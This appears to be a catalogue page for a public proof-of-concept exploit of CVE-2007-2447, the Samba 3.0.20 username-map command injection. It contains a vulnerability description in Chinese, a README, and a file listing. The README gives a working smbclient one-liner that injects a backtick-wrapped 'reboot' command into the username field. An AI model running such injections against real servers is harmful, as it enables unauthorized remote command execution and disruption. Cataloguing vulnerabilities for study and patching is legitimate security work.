CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source

Associated Vulnerability

Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时，通过对/bin/sh的MS-RPC调用提交了恶意输入的话，就可能允许攻击者以nobody用户的权限执

Description

A simple exploit for CVE-2007-2447

Readme

# smb_usermap
A simple exploit for CVE-2007-2447, present in Samba 3.0.20.

You can exploit this vuln with even less than this, for instance, with smbclient, but I think it's tough to do complex commands, since a lot of special chars probably get eaten, but a simple command (reboot in this case) can be passed like this:

``
smbclient -L <target IP> --user="/=\`reboot\`" -N
``

File Snapshot


 [4.0K]  /data/pocs/0964454754b63af69d987f33bfcfbf4d823b552c
├── [ 531]  b1f_usermap.py
├── [1.0K]  LICENSE
└── [ 379]  README.md

0 directories, 3 files

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